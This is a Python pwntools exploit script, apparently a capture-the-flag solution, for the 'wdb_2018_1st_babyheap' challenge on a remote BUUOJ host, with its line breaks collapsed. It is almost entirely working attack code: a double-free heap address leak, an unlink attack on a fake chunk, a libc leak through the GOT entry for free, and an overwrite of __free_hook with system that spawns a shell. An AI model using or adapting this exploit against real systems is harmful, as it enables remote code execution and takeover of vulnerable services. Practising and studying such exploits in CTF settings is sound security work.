from tools import *
p = remote("node5.buuoj.cn",26682) debug(p,0x400D59,0x400D65,0x400D7D,0x400D71) libc = ELF('./libc-2.23.so')
elf = ELF('./wdb_2018_1st_babyheap')
def add(index,content): p.sendlineafter("Choice:",str(1)) p.sendlineafter("Index:",str(index)) p.sendlineafter("Content:",content) def edit(index,content): p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(index)) p.sendlineafter("Content:",content) def show(index): p.sendlineafter("Choice:",str(3)) p.sendlineafter("Index:",str(index)) def delete(index): p.sendlineafter("Choice:",str(4)) p.sendlineafter("Index:",str(index)) add(0,b'a'*8) add(1,b'a'*8) add(2,b'a'*8) add(3,b'a'*8) add(4,b'/bin/sh\x00') delete(1) delete(0) show(0) chunk1_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) log_addr("chunk1_addr")
delete(1) add(5,p64(chunk1_addr-0x10)) payload = b'b'*0x10+p64(0)+p64(0x30) p.sendlineafter("Choice:",str(1)) p.sendlineafter("Index:",str(6)) p.sendafter("Content:",payload) add(7,b'b'*8) add(8,p64(0x20)+p64(0x90)) payload = p64(0)*2+p64(0x602090-0x18)+p64(0x602090-0x10) p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(0)) p.sendafter("Content:",payload) delete(7)
payload = p64(0x6020b0)+p64(elf.got['free'])+p64(chunk1_addr+0x10)+p64(0x602078) p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(6)) p.sendafter("Content:",payload) show(4) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free'] log_addr("libc_base") edit(3,p64(0)) free_hook = libc_base+libc.sym['__free_hook'] payload = p64(chunk1_addr+0xa0)+p64(free_hook)+p64(chunk1_addr+0x10)+p64(0x602078) p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(6)) p.sendafter("Content:",payload) system = libc_base+libc.sym['system'] edit(4,p64(system))
delete(3) p.interactive()
''' #最初成功unlink payload = b'b'*0x10+p64(0)+p64(0x30) p.sendlineafter("Choice:",str(1)) p.sendlineafter("Index:",str(5)) p.sendafter("Content:",payload) edit(1,p64(chunk1_addr-0x10)) add(6,p64(chunk1_addr-0x10)) add(7,p64(0x20)+p64(0x90)) payload = p64(0)*2+p64(0x602088-0x18)+p64(0x602088-0x10) p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(0)) p.sendafter("Content:",payload) delete(6)
#改进版本 delete(1) add(5,p64(chunk1_addr-0x10)) payload = b'b'*0x10+p64(0)+p64(0x30) p.sendlineafter("Choice:",str(1)) p.sendlineafter("Index:",str(6)) p.sendafter("Content:",payload) add(7,b'b'*8) add(8,p64(0x20)+p64(0x90)) payload = p64(0)*2+p64(0x602060-0x18)+p64(0x602060-0x10) p.sendlineafter("Choice:",str(2)) p.sendlineafter("Index:",str(0)) p.sendafter("Content:",payload) delete(1) '''
|